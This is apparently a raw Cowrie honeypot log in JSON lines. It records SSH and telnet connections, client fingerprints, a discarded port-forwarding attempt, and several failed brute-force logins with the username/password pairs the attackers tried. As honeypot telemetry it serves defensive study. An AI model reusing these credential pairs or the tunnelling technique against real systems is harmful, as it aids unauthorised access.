{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x7f\\xa6\\xc1\\'J\\t\\x8f\\xe1\\x08+\\xe8\\xcc\\xd3\\x7f\\r\\x1ao\\xcf\\xe0\\x1fA\\xbej\\xa4C\\x92S\\xd0\\xce&\\x93\\xde \\xff\\x97 %\\xd4\\x92\\xdc\\x81D5l`E\\x17\\xb2O\\xec\\x1e\\xe3\\'\\xa1\\xa7\\xb3\\x9c\\r\\x83#\\xe54\\xd1\\xdc\\xd0\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 x\\xffK\\xd8\\x0f\\xce\\xbb\\xc6\\xec\\xf1\\x05\\x14\\xbd\\xcf3:\\xc9\\xa2wN\\xe5\\x05@\\r\\x92\\xc5W\\xcf~\\x018\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x7f\\xa6\\xc1\\'J\\t\\x8f\\xe1\\x08+\\xe8\\xcc\\xd3\\x7f\\r\\x1ao\\xcf\\xe0\\x1fA\\xbej\\xa4C\\x92S\\xd0\\xce&\\x93\\xde \\xff\\x97 %\\xd4\\x92\\xdc\\x81D5l`E\\x17\\xb2O\\xec\\x1e\\xe3\\'\\xa1\\xa7\\xb3\\x9c\\r\\x83#\\xe54\\xd1\\xdc\\xd0\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 x\\xffK\\xd8\\x0f\\xce\\xbb\\xc6\\xec\\xf1\\x05\\x14\\xbd\\xcf3:\\xc9\\xa2wN\\xe5\\x05@\\r\\x92\\xc5W\\xcf~\\x018\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.424289Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24386,"dst_ip":"10.17.0.5","dst_port":22,"session":"07764784f769","protocol":"ssh","message":"New connection: 91.92.40.36:24386 (10.17.0.5:22) [session: 07764784f769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.432302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.682739Z","src_ip":"91.92.40.36","session":"07764784f769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.687565Z","src_ip":"91.92.40.36","session":"07764784f769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:47.833028Z","src_ip":"123.27.168.40","session":"a89abb6a6a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:49.097446Z","src_ip":"91.92.40.36","session":"07764784f769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:50.651416Z","src_ip":"91.92.40.36","session":"07764784f769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6786b8e4685","protocol":"ssh","message":"New connection: 103.153.68.219:42042 (159.203.135.109:22) [session: f6786b8e4685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:51.417835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:51.422232Z","src_ip":"103.153.68.219","session":"f6786b8e4685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:51.670096Z","src_ip":"103.153.68.219","session":"f6786b8e4685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikolay123","message":"login attempt [root/nikolay123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:52.416647Z","src_ip":"103.153.68.219","session":"f6786b8e4685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:53.666334Z","src_ip":"103.153.68.219","session":"f6786b8e4685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":47970,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf86d02d9b8d","protocol":"ssh","message":"New connection: 73.36.177.174:47970 (10.17.0.5:22) [session: cf86d02d9b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:53.890990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:53.899546Z","src_ip":"73.36.177.174","session":"cf86d02d9b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:53.937800Z","src_ip":"73.36.177.174","session":"cf86d02d9b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ@WSX","message":"login attempt [root/1QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:54.152200Z","src_ip":"73.36.177.174","session":"cf86d02d9b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24406,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8696498d448","protocol":"ssh","message":"New connection: 91.92.40.36:24406 (10.17.0.5:22) [session: a8696498d448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:54.402120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:54.908792Z","src_ip":"91.92.40.36","session":"a8696498d448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:54.950665Z","src_ip":"91.92.40.36","session":"a8696498d448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:55.203819Z","src_ip":"73.36.177.174","session":"cf86d02d9b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:57.938318Z","src_ip":"91.92.40.36","session":"a8696498d448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:59.682662Z","src_ip":"91.92.40.36","session":"a8696498d448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":53180,"dst_ip":"10.17.0.5","dst_port":22,"session":"544c29a97d27","protocol":"ssh","message":"New connection: 150.136.214.177:53180 (10.17.0.5:22) [session: 544c29a97d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:02.010783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:02.020336Z","src_ip":"150.136.214.177","session":"544c29a97d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:02.047613Z","src_ip":"150.136.214.177","session":"544c29a97d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaZ2wsX","message":"login attempt [root/1qaZ2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:02.185824Z","src_ip":"150.136.214.177","session":"544c29a97d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18874,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f3c39cc61b4","protocol":"ssh","message":"New connection: 91.92.40.36:18874 (10.17.0.5:22) [session: 1f3c39cc61b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:02.331422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:03.029470Z","src_ip":"91.92.40.36","session":"1f3c39cc61b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:03.033046Z","src_ip":"91.92.40.36","session":"1f3c39cc61b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:03.215592Z","src_ip":"150.136.214.177","session":"544c29a97d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbs","password":"dbs","message":"login attempt [dbs/dbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:05.347017Z","src_ip":"91.92.40.36","session":"1f3c39cc61b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:06.820364Z","src_ip":"91.92.40.36","session":"1f3c39cc61b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c87a1159857","protocol":"telnet","message":"New connection: 172.81.62.90:55664 (159.203.135.109:23) [session: 9c87a1159857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:10.979132Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22052,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f494527b95","protocol":"ssh","message":"New connection: 91.92.40.36:22052 (10.17.0.5:22) [session: e3f494527b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:11.138031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:12.027144Z","src_ip":"91.92.40.36","session":"e3f494527b95","protocol":"ssh"}
